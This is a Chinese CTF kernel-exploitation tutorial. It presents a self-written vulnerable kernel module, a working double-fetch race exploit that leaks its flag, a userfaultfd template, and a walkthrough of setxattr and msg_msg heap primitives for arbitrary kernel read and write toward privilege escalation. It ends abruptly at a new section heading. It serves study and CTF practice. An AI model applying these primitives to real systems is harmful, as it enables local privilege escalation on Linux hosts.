前言
这里尝试各种各样的骚操作解法
一、多线程的真条件竞争
1.简单的多线程
先给出自己编写的题目源码,参照多方题目,主要还是0CTF2018-baby
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 #include <linux/module.h> #include <linux/version.h> #include <linux/kernel.h> #include <linux/types.h> #include <linux/kdev_t.h> #include <linux/fs.h> #include <linux/device.h> #include <linux/cdev.h> #include <asm/uaccess.h> #include <linux/slab.h> static char *buffer_var = NULL ;static struct class *devClass ; static struct cdev cdev ;static dev_t condition_dev_no;struct flagStruct { int len; char * flagUser; }; static struct flagStruct * flagObj ;static char * flag = "flag{PIG007NBHH}" ;static long condition_ioctl (struct file *filp, unsigned int cmd, unsigned long arg) ;static int condition_open (struct inode *i, struct file *f) ;static int condition_close (struct inode *i, struct file *f) ;static bool chk_range_not_ok (ssize_t v1,ssize_t v2) ;static struct file_operations condition_fops = { .owner = THIS_MODULE, .open = condition_open, .release = condition_close, .unlocked_ioctl = condition_ioctl }; static int __init condition_init (void ) { printk(KERN_INFO "[i] Module condition registered" ); if (alloc_chrdev_region(&condition_dev_no, 0 , 1 , "condition" ) < 0 ) { return -1 ; } if ((devClass = class_create(THIS_MODULE, "chardrv" )) == NULL ) { unregister_chrdev_region(condition_dev_no, 1 ); return -1 ; } if (device_create(devClass, NULL , condition_dev_no, NULL , "condition" ) == NULL ) { printk(KERN_INFO "[i] Module condition error" ); class_destroy(devClass); unregister_chrdev_region(condition_dev_no, 1 ); return -1 ; } cdev_init(&cdev, &condition_fops); if (cdev_add(&cdev, condition_dev_no, 1 ) == -1 ) { device_destroy(devClass, condition_dev_no); class_destroy(devClass); unregister_chrdev_region(condition_dev_no, 1 ); return -1 ; } printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n" , MAJOR(condition_dev_no), MINOR(condition_dev_no)); return 0 ; } static void __exit condition_exit (void ) { unregister_chrdev_region(condition_dev_no, 1 ); cdev_del(&cdev); } long condition_ioctl (struct file *filp, unsigned int cmd, unsigned long arg) { int retval = 0 ; printk(KERN_INFO "Ioctl Get!\n" ); switch (cmd) { case 111 : printk("Your flag is at %llx! But I don't think you know it's content\n" ,flag); break ; case 222 : flagObj = (struct flagStruct*)arg; ssize_t userFlagAddr = flagObj->flagUser; ssize_t userFlagObjAddr = (ssize_t )flagObj; if (chk_range_not_ok(userFlagAddr,flagObj->len) &&chk_range_not_ok(userFlagObjAddr,0 ) &&(flagObj->len == strlen (flag))) { if (!strncmp (flagObj->flagUser,flag,strlen (flag))) printk("Looks like the flag is not a secret anymore. So here is it %s\n" , flag); else printk("Wrong!" ); break ; } else { printk("Wrong!\n" ); break ; } default : retval = -1 ; break ; } return retval; } static bool chk_range_not_ok (ssize_t v1,ssize_t v2) { if ((v1 + v2) <= 0x7ffffffff000 ) return true ; else return false ; } static int condition_open (struct inode *i, struct file *f) { printk(KERN_INFO "[i] Module condition: open()\n" ); return 0 ; } static int condition_close (struct inode *i, struct file *f) { kfree(buffer_var); printk(KERN_INFO "[i] Module condition: close()\n" ); return 0 ; } module_init(condition_init); module_exit(condition_exit); MODULE_LICENSE("GPL" );
(1)前置知识
主要是线程的知识。
就是如果一个变量是全局的,那么在没有锁的情况就会导致一个程序的不同线程对该全局变量进行的竞争读写操作。就像这里给出的代码,首先flag在内核模块中是静态全局的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static char * flag = "flag{PIG007NBHH}" ;if (chk_range_not_ok(userFlagAddr,flagObj->len) &&chk_range_not_ok(userFlagObjAddr,0 ) &&(flagObj->len == strlen (flag))) { if (!strncmp (flagObj->flagUser,flag,strlen (flag))) printk("Looks like the flag is not a secret anymore. So here is it %s\n" , flag); else printk("Wrong!" ); break ; } else { printk("Wrong!\n" ); break ; }
(2)检测:
先检测传入的数据的地址是否是在用户空间,长度是否为flag的长度,传入的所有数据是否处在用户空间。如果都是,再判断传入的数据与flag是否一致,一致则打印flag,否则打印Wrong然后退出。
这么一看好像无法得到flag,首先flag我们不知道,是硬编码在内核模块中的。其次就算无法传入内核模块中的地址,意味着就算我们获得了内核模块中flag的地址和长度,传进去也会判定失败。
(3)漏洞
但是这是建立在一个线程中的,如果是多个线程呢。在我们传入用户空间的某个数据地址和长度之后,先进入程序的if语句,也就是进入如下if语句
1 2 3 if (chk_range_not_ok(userFlagAddr,flagObj->len) &&chk_range_not_ok(userFlagObjAddr,0 ) &&(flagObj->len == strlen (flag)))
然后在检测flag数据之前,也就是如下if语句之前,启动另外一个线程把传入的该数据地址给改成内核模块的flag的数据地址,这样就能成功打印flag了。
1 if (!strncmp (flagObj->flagUser,flag,strlen (flag)))
那么就直接给出POC,这里涉及到一些线程的操作,可以自己学习一下。
(4)POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <pthread.h> #include <errno.h> #include <sys/mman.h> #include <assert.h> #define TRYTIME 0x1000 struct flagStruct { int len; char * flagUseAddr; }; struct flagStruct flagChunk ;int openDev (char * pos) ;char readFlagBuf[0x1000 +1 ]={0 };int finish =0 ;unsigned long long flagKerneladdr;void changeFlagAddr (void * arg) ;int main (int argc, char *argv[]) { setvbuf(stdin ,0 ,2 ,0 ); setvbuf(stdout ,0 ,2 ,0 ); setvbuf(stderr ,0 ,2 ,0 ); int devFD; int addrFD; unsigned long memOffset; pthread_t thread; char * pos = "/dev/condition" ; devFD = openDev(pos); char flagBuf[16 ] = {0 }; flagReadFun(devFD,16 ,flagBuf); system("dmesg > /tmp/record.txt" ); addrFD = open("/tmp/record.txt" ,O_RDONLY); lseek(addrFD,-0x1000 ,SEEK_END); read(addrFD,readFlagBuf,0x1000 ); close(addrFD); int flagIdxInBuf; flagIdxInBuf = strstr (readFlagBuf,"Your flag is at " ); if (flagIdxInBuf == 0 ){ printf ("[-]Not found addr" ); exit (-1 ); } else { flagIdxInBuf+=16 ; flagKerneladdr = strtoull(flagIdxInBuf,flagIdxInBuf+16 ,16 ); printf ("[+]flag addr: %p\n" ,flagKerneladdr); } pthread_create(&thread, NULL , changeFlagAddr,&flagChunk); for (int i=0 ;i<TRYTIME;i++){ flagJudgeFun(devFD,16 ,&flagBuf); } finish = 1 ; pthread_join(thread, NULL ); close(devFD); puts ("[+]result is :" ); system("dmesg | grep flag" ); return 0 ; } int openDev (char * pos) { int devFD; printf ("[+] Open %s...\n" ,pos); if ((devFD = open(pos, O_RDWR)) < 0 ) { printf (" Can't open device file: %s\n" ,pos); exit (1 ); } return devFD; } void flagReadFun (int devFD,int len,char *buf) { flagChunk.len = len; flagChunk.flagUseAddr = buf; ioctl(devFD,111 ,&flagChunk); } void flagJudgeFun (int devFD,int len,char *buf) { flagChunk.len = len; flagChunk.flagUseAddr = buf; ioctl(devFD,222 ,&flagChunk); } void changeFlagAddr (void * arg) { struct flagStruct * flagPTChunk = arg; while (finish==0 ){ flagPTChunk->flagUseAddr = flagKerneladdr; } }
最后如下效果:
需要注意的是在gcc编译的时候需要加上-lpthread
多线程的参数。还有线程的回调函数必须传入至少一个参数,不管该参数在里面有没有被用到。
2.UserFaultFD
关于这个实在是有点多,涉及的知识也有点多,具体的可以看,版本在v4.3及以上才可用
Linux Kernel Userfaultfd 内部机制探究 - BrieflyX’s Base
从强网杯 2021 线上赛题目 notebook 中浅析 userfaultfd 在 kernel pwn 中的利用 - 安全客,安全资讯平台 (anquanke.com)
主要就是使用方法,以及是否可用
(1)是否可用
①编译时
在我们编译内核的时候,需要加入如下的选项在.config中
不然当我们尝试使用如下代码注册时,就会返回-1,表示失败
1 uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
②版本限制
在v5.11及以上的版本中加入了如下限制
1 2 3 4 5 6 7 8 9 if (!sysctl_unprivileged_userfaultfd && (flags & UFFD_USER_MODE_ONLY) == 0 && !capable(CAP_SYS_PTRACE)) { printk_once(KERN_WARNING "uffd: Set unprivileged_userfaultfd " "sysctl knob to 1 if kernel faults must be handled " "without obtaining CAP_SYS_PTRACE capability\n" ); return -EPERM; }
也就是说,必须要是root权限才可以使用该机制
(2)使用方法
探究完了是否可用,再来看看使用方法,同样在上面给出的链接中有一个板子,尝试拿来用一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 #include <sys/types.h> #include <sys/xattr.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <sys/ipc.h> #include <sys/shm.h> #include <semaphore.h> static char *page = NULL ;static size_t page_size;static pthread_t monitor_thread;void registerUserFaultFd (void * addr, unsigned long len, void (*handler)(void *)) ;void errExit (char *msg) ;static void * test_thread (void *arg) ;int main (int argc, char *argv[]) { char *uffd_buf_leak; page = malloc (0x1000 ); for (int i = 0 ; i < 0x20 ; i ++) { page[i] == "\x62" ; } page_size = sysconf(_SC_PAGE_SIZE); uffd_buf = (char *) mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); registerUserFaultFd(uffd_buf, page_size, test_thread); printf ("\033[1;31;40m[Test:]%016llx\033[0m\n" ,*uffd_buf); } static void * test_thread (void *arg) { struct uffd_msg msg ; int fault_cnt = 0 ; long uffd; struct uffdio_copy uffdio_copy ; ssize_t nread; uffd = (long ) arg; for (;;) { struct pollfd pollfd ; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1 , -1 ); printf ("\033[1;31;40m[Loading handler userfaultfd]%016llx\033[0m\n" ); if (nready == -1 ) errExit("poll" ); nread = read(uffd, &msg, sizeof (msg)); if (nread == 0 ) errExit("EOF on userfaultfd!\n" ); if (nread == -1 ) errExit("read" ); if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd\n" ); uffdio_copy.src = (unsigned long ) page; uffdio_copy.dst = (unsigned long ) msg.arg.pagefault.address & ~(page_size - 1 ); uffdio_copy.len = page_size; uffdio_copy.mode = 0 ; uffdio_copy.copy = 0 ; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1 ) errExit("ioctl-UFFDIO_COPY" ); return NULL ; } } void registerUserFaultFd (void * addr, unsigned long len, void (*handler)(void *)) { long uffd; struct uffdio_api uffdio_api ; struct uffdio_register uffdio_register ; int s; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1 ) errExit("userfaultfd" ); uffdio_api.api = UFFD_API; uffdio_api.features = 0 ; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1 ) errExit("ioctl-UFFDIO_API" ); uffdio_register.range.start = (unsigned long ) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1 ) errExit("ioctl-UFFDIO_REGISTER" ); s = pthread_create(&monitor_thread, NULL , handler, (void *) uffd); if (s != 0 ) errExit("pthread_create" ); } void errExit (char *msg) { printf ("\033[31m\033[1m[x] Error at: \033[0m%s\n" , msg); exit (EXIT_FAILURE); }
如下效果:
可以看到在试图打印被我们申请读写保护的区域时,会调用到我们的test_thread
函数中
(3)配合知识点
通常意义上来讲,UserFaultFD是用在多线程下,用来制造double-free或者UAF的。而在比较严苛的条件下,比如,没法写,或者没办法读的时候,就需要配合以下的两个知识点。
setxattr
调用链为
1 SYS_setxattr()->path_setxattr()->setxattr()
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 static long setxattr (struct user_namespace *mnt_userns, struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { int error; void *kvalue = NULL ; char kname[XATTR_NAME_MAX + 1 ]; if (flags & ~(XATTR_CREATE|XATTR_REPLACE)) return -EINVAL; error = strncpy_from_user(kname, name, sizeof (kname)); if (error == 0 || error == sizeof (kname)) error = -ERANGE; if (error < 0 ) return error; if (size) { if (size > XATTR_SIZE_MAX) return -E2BIG; kvalue = kvmalloc(size, GFP_KERNEL); if (!kvalue) return -ENOMEM; if (copy_from_user(kvalue, value, size)) { error = -EFAULT; goto out; } if ((strcmp (kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0 ) || (strcmp (kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0 )) posix_acl_fix_xattr_from_user(mnt_userns, kvalue, size); } error = vfs_setxattr(mnt_userns, d, kname, kvalue, size, flags); out: kvfree(kvalue); return error; }
关注点在kvmalloc
、copy_from_user
、kvfree
。
kvmalloc
中的size可控,copy_from_user
中的value可控
也就是说当freelist
中存在我们需要修改的chunk,而该chunk又是我们控制的某个设备内存块时,(通过double-free或者UAF实现)那么我们就可以通过setxattr
来对该设备内存进行任意写。虽然最后会释放,但是也只会影响内存块中存放下一个chunk地址处的内容0x8个字节,而当我们用不着这个地方的内容时,就不用太关注了。
🔺注:
使用的时候需要注意指定一个当前的exp程序,类似如下,第二个参数字符串任意。
1 setxattr("/tmp/ufdExp" , "PIG-007" , &buf,0x100 ,0 );
msg_msg
这个下面新创一个点,方便标题跳转
3.msg_msg
承接上面的知识点
这个在之前也总结过,不过总结得有些错误,也不太完善,这里再好好总结一下
修改时间:2022-05-12
参照:【NOTES.0x08】Linux Kernel Pwn IV:通用结构体与技巧 - arttnba3’s blog
Linux内核中利用msg_msg结构实现任意地址读写 - 安全客,安全资讯平台 (anquanke.com)
Linux的进程间通信 - 消息队列 · Poor Zorro’s Linux Book (gitbooks.io)
《Linux/Unix系统编程手册》
(1)使用方法
①创建
②数据传输
可以关注一下MSG_NOERROR
标志位,比如说msg_flag
没有设置MSG_NOERROR
的时候,那么情况如下:
假定获取消息时输入的长度m_ts_size
为0x200
,且这个长度大于通过find_msg()
函数获取到的消息长度0x200
,则可以顺利读取,如果该长度小于获取到的消息长度0x200
,则会出现如下错误
但是如果设置了MSG_NOERROR
,那么即使传入接收消息的长度小于获取到的消息长度,仍然可以顺利获取,但是多余的消息会被截断,相关内存还是会被释放,这个在源代码中也有所体现。
1 2 3 4 5 if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) { msg = ERR_PTR(-E2BIG); goto out_unlock0; }
此外还有更多的msg_flag
,就不一一举例了。
③释放
这个主要是用到msgctl
封装函数或者__NR_msgctl
系统调用,直接释放掉所有的消息结构,包括申请的msg_queue
的结构
1 2 3 4 5 6 if (msgctl(queue_id),IPC_RMID,NULL )==-1 ){ perror("msgctl" ); exit (-1 ); }
不过一般也用不到,可能某些合并obj的情况能用到?
此外还有更多的cmd
命令,常用来设置内核空间的msg_queue
结构上的相关数据,不过多介绍了。
总结
总结一下大致的使用方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 typedef struct { long mtype; char mtext[1 ]; }msgp; int32_t make_queue (key_t key, int msg_flag) { int32_t result; if ((result = msgget(key, msg_flag)) == -1 ) { perror("msgget failure" ); exit (-1 ); } return result; } void get_msg (int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag) { if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0 ) { perror("msgrcv" ); exit (-1 ); } return ; } void send_msg (int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag) { if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1 ) { perror("msgsend failure" ); exit (-1 ); } return ; } int main () { int queue_id, m_ts_size; char queue_recv_buf[0x2000 ]; char queue_send_buf[0x2000 ]; m_ts_size = 0x400 -0x30 ; msgp *message = (msgp *)queue_send_buf; message->mtype = 0 ; memset (message->mtext,'\xaa' , m_ts_size); memset (queue_recv_buf, '\xbb' , sizeof (queue_recv_buf)); queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(queue_id, message, m_ts_size, 0 ); get_msg(queue_id, queue_recv_buf, m_ts_size, 0 , IPC_NOWAIT | MSG_COPY); return 0 ; }
(2)内存分配与释放
①创建
A.内存申请
还是需要先创建msg_queue
结构体,使用msgget
函数,调用链为
1 msgget(key,msg_flag)->ksys_msgget()->ipcget()->ipcget_new()->newque()
主要还是关注最后的newque()
函数,在该函数中使用kvmalloc()
申请堆块,大小为0x100,属于kmalloc-256
,(不同版本大小貌似不同)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 static int newque (struct ipc_namespace *ns, struct ipc_params *params) { struct msg_queue *msq ; int retval; key_t key = params->key; int msgflg = params->flg; msq = kvmalloc(sizeof (*msq), GFP_KERNEL); if (unlikely(!msq)) return -ENOMEM; msq->q_perm.mode = msgflg & S_IRWXUGO; msq->q_perm.key = key; msq->q_perm.security = NULL ; retval = security_msg_queue_alloc(&msq->q_perm); if (retval) { kvfree(msq); return retval; } msq->q_stime = msq->q_rtime = 0 ; msq->q_ctime = ktime_get_real_seconds(); msq->q_cbytes = msq->q_qnum = 0 ; msq->q_qbytes = ns->msg_ctlmnb; msq->q_lspid = msq->q_lrpid = NULL ; INIT_LIST_HEAD(&msq->q_messages); INIT_LIST_HEAD(&msq->q_receivers); INIT_LIST_HEAD(&msq->q_senders); retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni); if (retval < 0 ) { ipc_rcu_putref(&msq->q_perm, msg_rcu_free); return retval; } ipc_unlock_object(&msq->q_perm); rcu_read_unlock(); return msq->q_perm.id; }
创建的结构体如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 struct msg_queue { struct kern_ipc_perm q_perm ; time64_t q_stime; time64_t q_rtime; time64_t q_ctime; unsigned long q_cbytes; unsigned long q_qnum; unsigned long q_qbytes; struct pid *q_lspid ; struct pid *q_lrpid ; struct list_head q_messages ; struct list_head q_receivers ; struct list_head q_senders ; } __randomize_layout;
接着当使用msgsnd
函数传递消息时,会创建新的msg_msg
结构体,消息过长的话就会创建更多的msg_msgseg
来存储更多的消息。相关的函数调用链如下:
1 msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)->do_msgsnd()->load_msg()->alloc_msg()
主要还是关注在alloc_msg()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 static struct msg_msg *alloc_msg (size_t len) { struct msg_msg *msg ; struct msg_msgseg **pseg ; size_t alen; alen = min(len, DATALEN_MSG); msg = kmalloc(sizeof (*msg) + alen, GFP_KERNEL_ACCOUNT); if (msg == NULL ) return NULL ; msg->next = NULL ; msg->security = NULL ; len -= alen; pseg = &msg->next; while (len > 0 ) { struct msg_msgseg *seg ; cond_resched(); alen = min(len, DATALEN_SEG); seg = kmalloc(sizeof (*seg) + alen, GFP_KERNEL_ACCOUNT); if (seg == NULL ) goto out_err; *pseg = seg; seg->next = NULL ; pseg = &seg->next; len -= alen; } return msg; out_err: free_msg(msg); return NULL ; }
相关内存结构:
在一个msg_queue
队列下,消息长度为0x1000-0x30-0x8-0x8-0x8
同理,同一个msg_queue
消息队列下的多条消息也是类似的
内存申请总结:
使用msgget()
函数创建内核空间的消息队列结构msg_msgseg
,返回值为消息队列的id
标志queue_id
msg_msgseg
管理整个消息队列,大小为0x100,kmalloc-256
。
其struct list_head q_messages;
域为链表头,和msg_msg
结构的struct list_head m_list
域串联所有的msg_msg
形成双向循环链表
每次在该消息队列queue_id
下调用msgsnd()
函数都会申请内核空间的msg_msg
结构,消息长度大于0x400-0x30
就会申请内核空间的msg_msgseg
结构
msg_msg
为每条消息存放消息数据的结构,与msg_queue
形成双向循环链表,与msg_msgseg
形成单向链表大小最大为0x400,属于kmalloc-64
至kmalloc-1024
msg_msgseg
也为每条消息存放消息数据的结构,挂在msg_msg
单向链表中,大小最大为0x400
,属于kmalloc-16
至kmalloc-1024
,当消息长度很长时就会申请很多的内核空间的msg_msgseg
结构。
B.数据复制
调用完alloc_msg()
函数后,回到load_msg()
函数接着进行数据复制,函数还是挺简单的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 struct msg_msg *load_msg (const void __user *src, size_t len) { struct msg_msg *msg ; struct msg_msgseg *seg ; int err = -EFAULT; size_t alen; msg = alloc_msg(len); if (msg == NULL ) return ERR_PTR(-ENOMEM); alen = min(len, DATALEN_MSG); if (copy_from_user(msg + 1 , src, alen)) goto out_err; for (seg = msg->next; seg != NULL ; seg = seg->next) { len -= alen; src = (char __user *)src + alen; alen = min(len, DATALEN_SEG); if (copy_from_user(seg + 1 , src, alen)) goto out_err; } err = security_msg_msg_alloc(msg); if (err) goto out_err; return msg; out_err: free_msg(msg); return ERR_PTR(err); }
②释放
相关的函数调用链
1 msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)->SYS_msgrcv()->ksys_msgrcv()->do_msgrcv()->do_msg_fill()->store_msg()
首先关注一下do_msgrcv()
函数,里面很多东西都比较重要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 static long do_msgrcv (int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t )) { int mode; struct msg_queue *msq ; struct ipc_namespace *ns ; struct msg_msg *msg , *copy = NULL ; DEFINE_WAKE_Q(wake_q); if (msqid < 0 || (long ) bufsz < 0 ) return -EINVAL; if (msgflg & MSG_COPY) { if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT)) return -EINVAL; copy = prepare_copy(buf, min_t (size_t , bufsz, ns->msg_ctlmax)); if (IS_ERR(copy)) return PTR_ERR(copy); } for (;;) { msg = find_msg(msq, &msgtyp, mode); if (!IS_ERR(msg)) { if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) { msg = ERR_PTR(-E2BIG); goto out_unlock0; } if (msgflg & MSG_COPY) { msg = copy_msg(msg, copy); goto out_unlock0; } list_del(&msg->m_list); msq->q_qnum--; msq->q_rtime = ktime_get_real_seconds(); ipc_update_pid(&msq->q_lrpid, task_tgid(current)); msq->q_cbytes -= msg->m_ts; atomic_sub(msg->m_ts, &ns->msg_bytes); atomic_dec(&ns->msg_hdrs); ss_wakeup(msq, &wake_q, false ); goto out_unlock0; } } out_unlock0: ipc_unlock_object(&msq->q_perm); wake_up_q(&wake_q); out_unlock1: rcu_read_unlock(); if (IS_ERR(msg)) { free_copy(copy); return PTR_ERR(msg); } bufsz = msg_handler(buf, msg, bufsz); free_msg(msg); return bufsz; }
A.非堆块释放的数据读取
一般而言,我们使用msg_msg
进行堆构造(比如溢出或者其他什么的)的时候,当需要从消息队列中读取消息而又不想释放该堆块时,会结合MSG_COPY
这个msgflg
标志位,防止在读取的时候发生堆块释放从而进行双向循环链表的unlink
触发错误。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (msgflg & MSG_COPY) { msg = copy_msg(msg, copy); goto out_unlock0; } list_del(&msg->m_list); msq->q_qnum--; msq->q_rtime = ktime_get_real_seconds(); ipc_update_pid(&msq->q_lrpid, task_tgid(current)); msq->q_cbytes -= msg->m_ts; atomic_sub(msg->m_ts, &ns->msg_bytes); atomic_dec(&ns->msg_hdrs); ss_wakeup(msq, &wake_q, false ); goto out_unlock0;
使用这个标志位还需要在内核编译的时候设置CONFIG_CHECKPOINT_RESTORE=y
才行,否则还是会出错的
1 2 3 4 5 6 7 8 9 10 11 12 13 #ifdef CONFIG_CHECKPOINT_RESTORE struct msg_msg *copy_msg (struct msg_msg *src, struct msg_msg *dst) { } #else struct msg_msg *copy_msg (struct msg_msg *src, struct msg_msg *dst) { return ERR_PTR(-ENOSYS); } #endif
🔺注:还有一点不知道是不是什么bug,在某些内核版本中,至少我的v5.11
中,MSG_NOERROR
和MSG_COPY
(后续会讲到)没有办法同时生效,关键点在于copy_msg()
函数中,转化成汇编如下:
注意到红框的部分,获取rdi(msg)
和rsi(copy)
对应的m_ts
进行比较,而copy
的m_ts
是从用户传进来的想要获取消息的长度,如果小于实际的msg
的m_ts
长度,那就标记错误然后退出。可以这个比较应该是在后面才会进行的,但是这里也突然冒出来,就很奇怪,导致这两个标志位没办法同时发挥作用。
B.释放堆块的消息读取
同理如果不指定MSG_COPY
这个标志时,从消息队列中读取消息就会触发内存释放,这里就可以依据发送消息时设置的mtype
和接收消息时设置的msgtpy
来进行消息队列中各个位置的堆块的释放。
C.数据复制
不管什么标志位,只要不是MSG_NOERROR
和MSG_COPY
联合起来,并且申请读取消息长度size
小于通过find_msg()
函数获取到的实际消息的m_ts
,那么最终都会走到do_msgrcv()函数的末尾,通过如下代码进行数据复制和堆块释放
1 2 bufsz = msg_handler(buf, msg, bufsz); free_msg(msg);
(3)利用
越界读取
这样,当我们通过之前提到的double-free/UAF
,并且再使用setxattr
来对msg_msgmsg
中的m_ts
进行修改,这样在我们调用msgrcv
的时候就能越界从堆上读取内存了,就可能能够泄露到堆地址或者程序基地址。
使用setxattr
的时候需要注意释放堆块时FD的位置,不同内核版本开启不同保护下FD的位置不太一样
为了获取到地址的成功性更大,我们就需要用到单个msg_queue
和单个msg_msg
的内存模型
可以看到单个msg_msg
在msg_queue
的管理下形成双向循环链表,所以如果我们通过msgget
和msgsnd
多申请一些相同大小的且只有一个msg_msg
结构体的msg_queue
,那么越界读取的时候,就可以读取到只有单个msg_msg
的头部了
而单个msg_msg
由于双向循环链表,其头部中又存在指向msg_queue
的指针,那么这样就能泄露出msg_queue
的堆地址了。
任意读取
完成上述泄露msg_queue
的堆地址之后,就需要用到msg_msg
的内存布局了
由于我们的msg_msg
消息的内存布局如下
相关读取源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg)) #define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg)) ---------------------------------------------------------------- int store_msg (void __user *dest, struct msg_msg *msg, size_t len) { size_t alen; struct msg_msgseg *seg ; alen = min(len, DATALEN_MSG); if (copy_to_user(dest, msg + 1 , alen)) return -1 ; for (seg = msg->next; seg != NULL ; seg = seg->next) { len -= alen; dest = (char __user *)dest + alen; alen = min(len, DATALEN_SEG); if (copy_to_user(dest, seg + 1 , alen)) return -1 ; } return 0 ; }
所以如果我们可以修改next
指针和m_ts
,结合读取msg
最终调用函数store_msg
的源码,那么就能够实现任意读取。
那么接着上面的,我们得到msg_queue
之后,可以再将msg_msg
的next指针指回msg_queue
,读出其中的msg_msg
,就能获得当前可控堆块的堆地址。
这样完成之后,我们结合userfaultfd
和setxattr
频繁修改next指针就能基于当前堆地址来进行内存搜索了,从而能够完成地址泄露。
同时需要注意的是,判断链表是否结束的依据为next是否为null,所以我们任意读取的时候,最好找到一个地方的next指针处的值为null。
任意写
同样的,msg_msg
由于next指针的存在,结合msgsnd
也具备任意地址写的功能。我们可以在拷贝的时候利用userfaultfd
停下来,然后更改next指针,使其指向我们需要的地方,比如init_cred
结构体位置,从而直接修改进行提权。
二、任意读写漏洞
内核里的读写漏洞利用方式与用户态有点不太一样,利用方式也是多种多样。
题目
首先给出下题目
